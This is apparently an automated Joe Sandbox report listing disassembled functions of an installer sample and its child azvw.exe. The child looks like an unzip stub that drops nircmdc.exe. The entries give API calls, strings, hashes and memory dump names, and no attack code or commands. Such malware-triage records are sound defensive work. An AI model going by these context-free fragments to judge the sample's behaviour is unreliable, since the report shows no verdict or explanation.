Associated: 00000000.00000002.1763011202.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1763049787.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1763076432.000000000040B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1763076432.000000000041F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1763076432.0000000000461000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1763153474.00000000004F4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_vqMMwqCFZQ.jbxd

Similarity

API ID: PrivateProfileStringlstrcmp
String ID: !N~
API String ID: 623250636-529124213
Opcode ID: 866873a94fae700ec207294a0f2462ae5c2747d97e8320b74985250fbb79316b
Instruction ID: 7cd271610f6b1cb64eb4c57d825f56a096f62725fe87e34e9129affe44791136
Opcode Fuzzy Hash: 866873a94fae700ec207294a0f2462ae5c2747d97e8320b74985250fbb79316b
Instruction Fuzzy Hash: 37E0E571500208ABDB00BBA0DE85DAE7BBCAF05304F14443AF641F71E3EA7459028718

Function 00405C3F Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 24processCOMMON

Download Yara Rule

APIs

CreateProcessW.KERNEL32(00000000,?,00000000,00000000,00000000,00000000,00000000,00000000,00457278,Error launching installer), ref: 00405C64
CloseHandle.KERNEL32(?), ref: 00405C71

Strings

Error launching installer, xrefs: 00405C48

Memory Dump Source

Source File: 00000000.00000002.1763029616.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1763011202.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1763049787.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1763076432.000000000040B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1763076432.000000000041F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1763076432.0000000000461000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1763153474.00000000004F4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_vqMMwqCFZQ.jbxd

Similarity

API ID: CloseCreateHandleProcess
String ID: Error launching installer
API String ID: 3712363035-66219284
Opcode ID: 47f41dc08d07e361b35e7f66cf96497c8c5e39d775029f064e59fed031f864e7
Instruction ID: c3c9ba135fb9cbcc5263534f4c07e322ce29f53e9eda4e03cc008bde6a4ec24c
Opcode Fuzzy Hash: 47f41dc08d07e361b35e7f66cf96497c8c5e39d775029f064e59fed031f864e7
Instruction Fuzzy Hash: 44E0EC70504209ABEF009B64EE49E7F7BBCEB00305F504575BD51E2561D774D9188A68

Function 004062A3 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 13stringCOMMON

Download Yara Rule

APIs

lstrlenW.KERNEL32(RMDir: RemoveDirectory invalid input(""),00406E79,RMDir: RemoveDirectory("%s"),?,?,?), ref: 004062B0
wvsprintfW.USER32(00000000,?,?), ref: 004062C7

Part of subcall function 004060E7: CloseHandle.KERNEL32(FFFFFFFF,00000000,?,?,004062D4,00000000), ref: 004060FE

Strings

RMDir: RemoveDirectory invalid input(""), xrefs: 004062A5, 004062AA

Memory Dump Source

Source File: 00000000.00000002.1763029616.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1763011202.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1763049787.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1763076432.000000000040B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1763076432.000000000041F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1763076432.0000000000461000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1763153474.00000000004F4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_vqMMwqCFZQ.jbxd

Similarity

API ID: CloseHandlelstrlenwvsprintf
String ID: RMDir: RemoveDirectory invalid input("")
API String ID: 3509786178-2769509956
Opcode ID: 7e77ee9ca870ff99cdb2782ad16b85c265d3824fde99dea76e58772afe0e1651
Instruction ID: 8d95e7b1bd6a8fe250904a0927f32055e446839aab417a06e937ad69edd5bb19
Opcode Fuzzy Hash: 7e77ee9ca870ff99cdb2782ad16b85c265d3824fde99dea76e58772afe0e1651
Instruction Fuzzy Hash: 04D05E34150316BACA009BA0DE09E997B64FBD0384F50442EF147C5070FA748001C70E

Function 00405DB6 Relevance: 5.0, APIs: 4, Instructions: 37stringCOMMON

Download Yara Rule

APIs

lstrlenA.KERNEL32(00000000,?,00000000,00000000,?,00000000,00406BD3,00000000,[Rename]), ref: 00405DC6
lstrcmpiA.KERNEL32(?,?), ref: 00405DDE
CharNextA.USER32(?,?,00000000,00406BD3,00000000,[Rename]), ref: 00405DEF
lstrlenA.KERNEL32(?,?,00000000,00406BD3,00000000,[Rename]), ref: 00405DF8

Memory Dump Source

Source File: 00000000.00000002.1763029616.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1763011202.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1763049787.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1763076432.000000000040B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1763076432.000000000041F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1763076432.0000000000461000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1763153474.00000000004F4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_vqMMwqCFZQ.jbxd

Similarity

API ID: lstrlen$CharNextlstrcmpi
String ID:
API String ID: 190613189-0
Opcode ID: f82830a26d6d2443e283ff34aa02cafdf5392a3ccdb3054c8558e2fdbecc5bb1
Instruction ID: 82a91399e33c41d3abe84131f59dcd741317d7299bce3ff9d06b8c6e92496674
Opcode Fuzzy Hash: f82830a26d6d2443e283ff34aa02cafdf5392a3ccdb3054c8558e2fdbecc5bb1
Instruction Fuzzy Hash: D5F0CD31205988EFCB019FA9CD04C9FBBA8EF56350B2180AAE840E7310D630EE01DBA4

Analysis Process: azvw.exePID: 2664, Parent PID: 2836COMMON

Execution Graph

Execution Coverage:	4.4%
Dynamic/Decrypted Code Coverage:	0%
Signature Coverage:	5%
Total number of Nodes:	1586
Total number of Limit Nodes:	29

Executed Functions

Function 0041C29C Relevance: 21.2, APIs: 11, Strings: 1, Instructions: 230
timefileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

FindFirstFileA.KERNELBASE(00000000,?,?,?,00000001), ref: 0041C303
GetDriveTypeA.KERNEL32(00000000), ref: 0041C35F
FileTimeToLocalFileTime.KERNEL32(?,00000000), ref: 0041C3C9
FileTimeToSystemTime.KERNEL32(00000000,?), ref: 0041C3DF
FileTimeToLocalFileTime.KERNEL32(?,00000000), ref: 0041C435
FileTimeToSystemTime.KERNEL32(00000000,?), ref: 0041C44B
FileTimeToLocalFileTime.KERNEL32(?,00000000), ref: 0041C4A3
FileTimeToSystemTime.KERNEL32(00000000,?), ref: 0041C4B9
FindClose.KERNELBASE(?), ref: 0041C4F0
GetLastError.KERNEL32 ref: 0041C532
FindClose.KERNEL32(?), ref: 0041C542

Strings

./\, xrefs: 0041C317

Memory Dump Source

Source File: 00000032.00000002.2766218833.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000032.00000002.2766202202.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000032.00000002.2766241134.000000000041E000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000032.00000002.2766259569.0000000000425000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000032.00000002.2766534078.0000000000428000.00000004.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_50_2_400000_azvw.jbxd

Similarity

API ID: Time$File$FindLocalSystem$Close$DriveErrorFirstLastType
String ID: ./\
API String ID: 816071114-3176372042
Opcode ID: de69cfd65508da5e28b4097bf2a6a8e8f7020ae88d7c1538e3f84fae5ecebbca
Instruction ID: a4bf26b3288f0746aeaefe6eee33eeb9c95b8158a33583b504b7627764fa2a0b
Opcode Fuzzy Hash: de69cfd65508da5e28b4097bf2a6a8e8f7020ae88d7c1538e3f84fae5ecebbca
Instruction Fuzzy Hash: 3A815D72940229AACB20DFA5DC85AEFB7FCBF08341F00446BF555E2141E73C9A84CB69

Function 00416AF5 Relevance: 10.6, APIs: 4, Strings: 2, Instructions: 116
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

IsValidCodePage.KERNEL32(00000000,004259A8,?,00425924,0041303A,?,00428D8C,?,?,?,00000000), ref: 00416BD9
IsValidLocale.KERNEL32(00000001,?,00000000), ref: 00416BEF
GetLocaleInfoA.KERNEL32(00001001,?,00000040,?,00000000), ref: 00416C30
GetLocaleInfoA.KERNEL32(00001002,?,00000040,?,00000000), ref: 00416C4B

Part of subcall function 00417226: GetVersionExA.KERNEL32(?), ref: 00417240

Part of subcall function 00417068: EnumSystemLocalesA.KERNEL32(0041709F,00000001,004259A8,?,00425924,0041303A,?,00428D8C,?,?,?,00000000), ref: 00417088

Strings

|1B, xrefs: 00416B3E
l-B, xrefs: 00416B62

Memory Dump Source

Source File: 00000032.00000002.2766218833.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000032.00000002.2766202202.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000032.00000002.2766241134.000000000041E000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000032.00000002.2766259569.0000000000425000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000032.00000002.2766534078.0000000000428000.00000004.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_50_2_400000_azvw.jbxd

Similarity

API ID: Locale$InfoValid$CodeEnumLocalesPageSystemVersion
String ID: l-B$|1B
API String ID: 4087412349-1682926205
Opcode ID: 14451e5f9ff0b11f7926cd449961003fc9334d28c4f7d9c07cbd2b1cfb64d6f8
Instruction ID: 77c45fc4a99a2d4965105fa733fd9383233311c3507932e8642f778f9422cabb
Opcode Fuzzy Hash: 14451e5f9ff0b11f7926cd449961003fc9334d28c4f7d9c07cbd2b1cfb64d6f8
Instruction Fuzzy Hash: C131F6717052609BD7309F61AC81AAB3AA5EB00704F5B403FE540D7391EABEE8C9C75D

Function 004194BD Relevance: 8.9, APIs: 3, Strings: 2, Instructions: 196
timeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetTimeZoneInformation.KERNELBASE(00428F08,00000000,00000000,00000001,00000000,?,0040A354,?,00000000,?,?,?,?,0040144E), ref: 004194F5
WideCharToMultiByte.KERNEL32(00000220,Eastern Standard Time,00000000,0000003F,00000000,?,?,0040A354,?,00000000,?,?,?,?,0040144E), ref: 0041958A
WideCharToMultiByte.KERNEL32(00000220,Eastern Summer Time,00000000,0000003F,00000000,?,?,0040A354,?,00000000,?,?,?,?,0040144E), ref: 004195C4

Strings

Eastern Summer Time, xrefs: 004195B8
Eastern Standard Time, xrefs: 0041957E

Memory Dump Source

Source File: 00000032.00000002.2766218833.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000032.00000002.2766202202.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000032.00000002.2766241134.000000000041E000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000032.00000002.2766259569.0000000000425000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000032.00000002.2766534078.0000000000428000.00000004.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_50_2_400000_azvw.jbxd

Similarity

API ID: ByteCharMultiWide$InformationTimeZone
String ID: Eastern Standard Time$Eastern Summer Time
API String ID: 1904278450-239921721
Opcode ID: c9d78c50aff07665b13410a1bc301889d252633011d0570864fa1448f4cdbf1b
Instruction ID: d190c84c4cc0c26642eb153707845cbe8beff245003c06114f550f7d716fb191
Opcode Fuzzy Hash: c9d78c50aff07665b13410a1bc301889d252633011d0570864fa1448f4cdbf1b
Instruction Fuzzy Hash: 5561C1B1707250AFD7318F15AC61BAA7B9ABB45344F95003FE085872A5DF788CC2C66E

Function 0041713F Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 44COMMON

Download Yara Rule

APIs

GetLocaleInfoA.KERNELBASE(00001004,?,00000008,?,?,?,?,00416BCA,?,004259A8,?,00425924,0041303A,?,00428D8C,?), ref: 0041718E

Strings

ACP, xrefs: 00417151
OCP, xrefs: 00417162

Memory Dump Source

Source File: 00000032.00000002.2766218833.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000032.00000002.2766202202.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000032.00000002.2766241134.000000000041E000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000032.00000002.2766259569.0000000000425000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000032.00000002.2766534078.0000000000428000.00000004.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_50_2_400000_azvw.jbxd

Similarity

API ID: InfoLocale
String ID: ACP$OCP
API String ID: 2299586839-711371036
Opcode ID: 4709dea30003b597f3d8250bd796ea7638c71e64de1883d2224e33a91a822167
Instruction ID: 903deaa607cf639364b7cc7254e85297317a472b98b4467e3dd4c96a9452e7fa
Opcode Fuzzy Hash: 4709dea30003b597f3d8250bd796ea7638c71e64de1883d2224e33a91a822167
Instruction Fuzzy Hash: 1CF0FC3264962439FB215751AC02FEB376C9F01751F50001FF940E52C1EB9C9BC5C29D

Function 00413F9E Relevance: 4.6, APIs: 3, Instructions: 75timeCOMMON

Download Yara Rule

APIs

GetLocalTime.KERNEL32(00407739), ref: 00413FAB
GetSystemTime.KERNEL32(?), ref: 00413FB5
GetTimeZoneInformation.KERNELBASE(?), ref: 0041400A

Memory Dump Source

Source File: 00000032.00000002.2766218833.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000032.00000002.2766202202.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000032.00000002.2766241134.000000000041E000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000032.00000002.2766259569.0000000000425000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000032.00000002.2766534078.0000000000428000.00000004.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_50_2_400000_azvw.jbxd

Similarity

API ID: Time$InformationLocalSystemZone
String ID:
API String ID: 2475273158-0
Opcode ID: dca7f0237e856ea5404fbb126ca6f1160033c27d591cee985ea1f73d045f6dfd
Instruction ID: 63eaa413687e3a0af9faf97127154bf37a26255f9c7758cb6ae69d944a5b3749
Opcode Fuzzy Hash: dca7f0237e856ea5404fbb126ca6f1160033c27d591cee985ea1f73d045f6dfd
Instruction Fuzzy Hash: 46218E39901015E9CB21AB9AD804AFF7BB9BB4C754F800416FA10E7294E7BD8DC6C76C

Function 0040F740 Relevance: 22.9, APIs: 7, Strings: 6, Instructions: 180
filetimeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateFileA.KERNELBASE(nircmdc.exe,40000000,00000002,00000000,00000003,00000080,00000000), ref: 0040F791
SetFileAttributesA.KERNEL32(nircmdc.exe,00000020), ref: 0040F7B5
GetLastError.KERNEL32(00000001), ref: 0040F7C1
GetLastError.KERNEL32(00000001), ref: 0040F8D5
SetFileTime.KERNELBASE(00000000,00000000,00000000,00000000), ref: 0040F939
GetLastError.KERNEL32(00000000), ref: 0040F944
CloseHandle.KERNEL32(00000000), ref: 0040F96E

Strings

nircmdc.exe, xrefs: 0040F78C, 0040F7B0, 0040F833, 0040F859
compressed WinNT security data missing (%d bytes)%s, xrefs: 0040F8A8
CreateFile() error %d when trying set file time, xrefs: 0040F8D8
SetFileTime failed: %d, xrefs: 0040F947
warning (%d): could not set file attributes, xrefs: 0040F7C4
%-22s , xrefs: 0040F864

Memory Dump Source

Source File: 00000032.00000002.2766218833.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000032.00000002.2766202202.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000032.00000002.2766241134.000000000041E000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000032.00000002.2766259569.0000000000425000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000032.00000002.2766534078.0000000000428000.00000004.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_50_2_400000_azvw.jbxd

Similarity

API ID: ErrorFileLast$AttributesCloseCreateHandleTime
String ID: CreateFile() error %d when trying set file time$SetFileTime failed: %d$warning (%d): could not set file attributes$ compressed WinNT security data missing (%d bytes)%s$%-22s $nircmdc.exe
API String ID: 1520554102-3763623673
Opcode ID: 1ffbace52059439494c2faa23457c508adb197eeee7fbb6a1e74a0cc17ef8ed0
Instruction ID: ec123f940c35398d6c20d288b992aaa82a19b0590d8110fdc60b447adca6d815
Opcode Fuzzy Hash: 1ffbace52059439494c2faa23457c508adb197eeee7fbb6a1e74a0cc17ef8ed0
Instruction Fuzzy Hash: 1C51B671B402117BE720AB28BC47FB77359EB54B14F94453AF814E22C2F6B8AC18826D

Function 0041AB18 Relevance: 13.7, APIs: 9, Instructions: 221
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CompareStringW.KERNELBASE(00000000,00000000,004231C4,00000001,004231C4,00000001,00000000,020405B4,?,00000002,00428D60,004027DD,?,?,00000002,00428D60), ref: 0041AB56
CompareStringA.KERNEL32(00000000,00000000,004231C0,00000001,004231C0,00000001,?,00000002,00428D60,0040114F), ref: 0041AB73
CompareStringA.KERNEL32(?,?,00000000,0040114F,00428D60,00000002,00000000,020405B4,?,00000002,00428D60,004027DD,?,?,00000002,00428D60), ref: 0041ABD1
GetCPInfo.KERNEL32(?,00000000,00000000,020405B4,?,00000002,00428D60,004027DD,?,?,00000002,00428D60,0040114F), ref: 0041AC22
MultiByteToWideChar.KERNEL32(?,00000009,00000000,00000002,00000000,00000000,?,00000002,00428D60,0040114F), ref: 0041ACA1
MultiByteToWideChar.KERNEL32(?,00000001,00000000,00000002,00000002,00000002,?,00000002,00428D60,0040114F), ref: 0041AD02
MultiByteToWideChar.KERNEL32(?,00000009,00428D60,00000002,00000000,00000000,?,00000002,00428D60,0040114F), ref: 0041AD15
MultiByteToWideChar.KERNEL32(?,00000001,00428D60,00000002,?,00000000,?,00000002,00428D60,0040114F), ref: 0041AD61
CompareStringW.KERNEL32(?,?,00000000,00000002,?,00000000,?,00000000,?,00000002,00428D60,0040114F), ref: 0041AD79

Memory Dump Source

Source File: 00000032.00000002.2766218833.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000032.00000002.2766202202.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000032.00000002.2766241134.000000000041E000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000032.00000002.2766259569.0000000000425000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000032.00000002.2766534078.0000000000428000.00000004.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_50_2_400000_azvw.jbxd

Similarity

API ID: ByteCharCompareMultiStringWide$Info
String ID:
API String ID: 1651298574-0
Opcode ID: 0b065d75f11689d4427d9752874f201de5120d531e926b8b3d271362c7dd42bd
Instruction ID: 8982f73b66f23a33087e68d4939e0b6a76c79f8fa55c1b86de23fe76a65e9542
Opcode Fuzzy Hash: 0b065d75f11689d4427d9752874f201de5120d531e926b8b3d271362c7dd42bd
Instruction Fuzzy Hash: 06719F71A05289AFCF219F94DC859EF7FB6EB05314F14412BF950A2260D3398CA5CB9B

Function 004101D0 Relevance: 10.6, APIs: 2, Strings: 4, Instructions: 134
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetFullPathNameA.KERNEL32(?,00000104,?,?,?,?,?), ref: 0041026C
GetVolumeInformationA.KERNELBASE(C:/,?,00000104,?,?,?,?,00000104), ref: 004102EE

Strings

FAT, xrefs: 00410357
C:/, xrefs: 00410288, 004102A8, 004102DB, 004102F8
VFAT, xrefs: 00410319
HPFS, xrefs: 0041033F

Memory Dump Source

Source File: 00000032.00000002.2766218833.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000032.00000002.2766202202.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000032.00000002.2766241134.000000000041E000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000032.00000002.2766259569.0000000000425000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000032.00000002.2766534078.0000000000428000.00000004.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_50_2_400000_azvw.jbxd

Similarity

API ID: FullInformationNamePathVolume
String ID: C:/$FAT$HPFS$VFAT
API String ID: 1555998374-1151019397
Opcode ID: f8df0c4a5d1451d0dd740bb05cf632a3427c018f7f5c4cc689e6d622af555a6f
Instruction ID: fd030fab3a41d782d0bfb313d5ad92de2eb91019b62ba207a93a103eae62fd2d
Opcode Fuzzy Hash: f8df0c4a5d1451d0dd740bb05cf632a3427c018f7f5c4cc689e6d622af555a6f
Instruction Fuzzy Hash: CB4159B16803406AE720DB20EC4BFEB37945F94708F44442AFD9486282F6FCD9D9839E

Function 00418AC8 Relevance: 7.6, APIs: 5, Instructions: 143
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetStartupInfoA.KERNEL32(?), ref: 00418B21
GetFileType.KERNEL32(00000800), ref: 00418BC7
GetStdHandle.KERNEL32(-000000F6), ref: 00418C20
GetFileType.KERNELBASE(00000000), ref: 00418C2E
SetHandleCount.KERNEL32 ref: 00418C65

Memory Dump Source

Source File: 00000032.00000002.2766218833.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000032.00000002.2766202202.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000032.00000002.2766241134.000000000041E000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000032.00000002.2766259569.0000000000425000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000032.00000002.2766534078.0000000000428000.00000004.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_50_2_400000_azvw.jbxd

Similarity

API ID: FileHandleType$CountInfoStartup
String ID:
API String ID: 1710529072-0
Opcode ID: 894f89217b4e5f8dd3dc04c4c5fc2c2138c20e103943fbb2b5c6704336baf594
Instruction ID: 9f710145433f53a11f67beba66e492aa2ca87e5ae07b95c08d009534c858da6a
Opcode Fuzzy Hash: 894f89217b4e5f8dd3dc04c4c5fc2c2138c20e103943fbb2b5c6704336baf594
Instruction Fuzzy Hash: 7F5115B16082518BD7208F28CC447D67BA0AB12325F19866EF4A6CB3E1DB78E8C5C75D

Function 00413847 Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 49
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetCurrentProcess.KERNEL32(00406A5A,error: zipfile read error,00413832,00000000,00000000,00000000,00406A5A,00000003,?,?,?,?,?,?,0040519A), ref: 00413857
TerminateProcess.KERNEL32(00000000,?,?,?,?,?,?,0040519A,?,?,?,?,?,?,?,?), ref: 0041385E
ExitProcess.KERNEL32 ref: 004138D8

Strings

error: zipfile read error, xrefs: 00413847

Memory Dump Source

Source File: 00000032.00000002.2766218833.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000032.00000002.2766202202.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000032.00000002.2766241134.000000000041E000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000032.00000002.2766259569.0000000000425000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000032.00000002.2766534078.0000000000428000.00000004.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_50_2_400000_azvw.jbxd

Similarity

API ID: Process$CurrentExitTerminate
String ID: error: zipfile read error
API String ID: 1703294689-3207815817
Opcode ID: 4a3ba93995f433487ece10c790bf92c59d29a896c2850f85550fccbc002a6eb2
Instruction ID: 9a9e4aaeeafff871062add6e916ef3ed514e9f96ede6102045d5c26cbba63ca5
Opcode Fuzzy Hash: 4a3ba93995f433487ece10c790bf92c59d29a896c2850f85550fccbc002a6eb2
Instruction Fuzzy Hash: AB01C431704310ABD6206F1AFC45A9ABBD5EB84315B50443FF444A22A0DBB959C5DB9E

Function 0040F6D0 Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 49
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 0040F6B0: GetVersion.KERNEL32(004028AB,?,?,ZIPINFOOPT,?,?,?,00401014,?,?,0041492C,020405B8), ref: 0040F6BA

SetFilePointer.KERNELBASE(00000000,?,00000000,00000000,00000000,0000AE00,?,?,000F8000,0040519A), ref: 0040F703

Strings

'h@, xrefs: 0040F6DE, 0040F6E2

Memory Dump Source

Source File: 00000032.00000002.2766218833.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000032.00000002.2766202202.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000032.00000002.2766241134.000000000041E000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000032.00000002.2766259569.0000000000425000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000032.00000002.2766534078.0000000000428000.00000004.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_50_2_400000_azvw.jbxd

Similarity

API ID: FilePointerVersion
String ID: 'h@
API String ID: 2103187656-431696200
Opcode ID: c1835f4d64794c132d77b39ac591daec13a6916d697b3494fa6b8190a8c6d3bc
Instruction ID: 4378285b618a777efcf84251ec6a8b6b99a83c3f06562969f79921aa5accdbfc
Opcode Fuzzy Hash: c1835f4d64794c132d77b39ac591daec13a6916d697b3494fa6b8190a8c6d3bc
Instruction Fuzzy Hash: F1F0B43278421076E530A67DBC05FEF23488FD1774F100636F510EA1D0DA38988711AD

Function 0041B7F2 Relevance: 6.2, APIs: 4, Instructions: 230
fileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateFileA.KERNELBASE(00000001,80000000,00406700,0000000C,00000001,00000080,00000000,00000000,00000000,00000000), ref: 0041B99E
GetFileType.KERNELBASE(00000000), ref: 0041B9AB
CloseHandle.KERNEL32(00000000), ref: 0041B9B6
GetLastError.KERNEL32 ref: 0041B9BC

Memory Dump Source

Source File: 00000032.00000002.2766218833.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000032.00000002.2766202202.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000032.00000002.2766241134.000000000041E000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000032.00000002.2766259569.0000000000425000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000032.00000002.2766534078.0000000000428000.00000004.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_50_2_400000_azvw.jbxd

Similarity

API ID: File$CloseCreateErrorHandleLastType
String ID:
API String ID: 1809617866-0
Opcode ID: 9034867e0e5f656806f9e8757dd3215358153a44656e4880629306d682652c13
Instruction ID: 0ae395d7474f1af9b9c6e449919d5970c2ed78d5f3119fdd6490fe40e80d97b9
Opcode Fuzzy Hash: 9034867e0e5f656806f9e8757dd3215358153a44656e4880629306d682652c13
Instruction Fuzzy Hash: B8811271D1420896EF209F68C8847EF7B64EF01768F28421FE951A63D1C7BC89C687CA

Function 0041B5E5 Relevance: 6.2, APIs: 4, Instructions: 174
fileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

ReadFile.KERNELBASE(00000000,00000000,00000000,00000000,00000000,00000100,00000000), ref: 0041B669
GetLastError.KERNEL32 ref: 0041B673
ReadFile.KERNEL32(?,?,00000001,00000000,00000000), ref: 0041B73A
GetLastError.KERNEL32 ref: 0041B744

Memory Dump Source

Source File: 00000032.00000002.2766218833.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000032.00000002.2766202202.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000032.00000002.2766241134.000000000041E000.00000002.00000001.01000000.00000007.sdmpDownload File
